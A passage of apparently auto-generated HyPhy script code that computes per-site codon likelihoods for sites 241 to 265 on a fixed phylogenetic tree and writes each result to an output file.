for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "241\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 242...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "723,724,725", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 242");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "242\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 243...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "726,727,728", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 243");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "243\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 244...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "729,730,731", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 244");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "244\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 245...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "732,733,734", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 245");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "245\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 246...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "735,736,737", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 246");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "246\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 247...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "738,739,740", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 247");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "247\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 248...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "741,742,743", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 248");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "248\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 249...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "744,745,746", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 249");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "249\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 250...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "747,748,749", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 250");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "250\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 251...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "750,751,752", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 251");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "251\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 252...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "753,754,755", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 252");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "252\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 253...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "756,757,758", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 253");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "253\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 254...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "759,760,761", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 254");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "254\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 255...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "762,763,764", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 255");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "255\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 256...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "765,766,767", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 256");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "256\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 257...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "768,769,770", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 257");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "257\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 258...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "771,772,773", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 258");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "258\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 259...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "774,775,776", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 259");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "259\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 260...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "777,778,779", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 260");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "260\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 261...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "780,781,782", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 261");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "261\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 262...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "783,784,785", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 262");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "262\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 263...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "786,787,788", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 263");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "263\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 264...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "789,790,791", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 264");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "264\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 265...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "792,793,794", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 265");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
